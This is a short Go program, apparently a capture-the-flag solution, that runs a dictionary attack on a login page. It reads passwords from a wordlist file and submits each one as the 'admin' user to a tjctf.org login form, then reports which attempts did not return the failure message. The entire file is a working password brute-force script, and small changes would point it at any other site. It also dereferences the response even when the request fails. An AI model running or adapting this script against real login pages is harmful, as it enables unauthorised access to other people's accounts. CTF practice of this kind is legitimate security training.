dictAttack.go

package main

import (
	"bufio"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
	"strings"
	"sync"
)

func makeReq(pass string, wg *sync.WaitGroup) {
	defer wg.Done()

	resp, err := http.PostForm("https://weak_password.tjctf.org/login", url.Values{
		"username": {"admin"},
		"password": {pass},
	})

	if err != nil {
		fmt.Printf("Error: %s", err)
	}

	defer resp.Body.Close()

	retStr, err := ioutil.ReadAll(resp.Body)

	fmt.Printf("password: %s, %t\n", pass, strings.Contains(string(retStr), "Sorry."))
}

func main() {
	f, _ := os.Open("john.txt")

	var pass string = ""
	var wg sync.WaitGroup

	scanner := bufio.NewScanner(f)
	for scanner.Scan() {
		wg.Add(1)
		pass = scanner.Text()
		makeReq(pass, &wg)
	}

	wg.Wait()
	fmt.Println("Completed")
}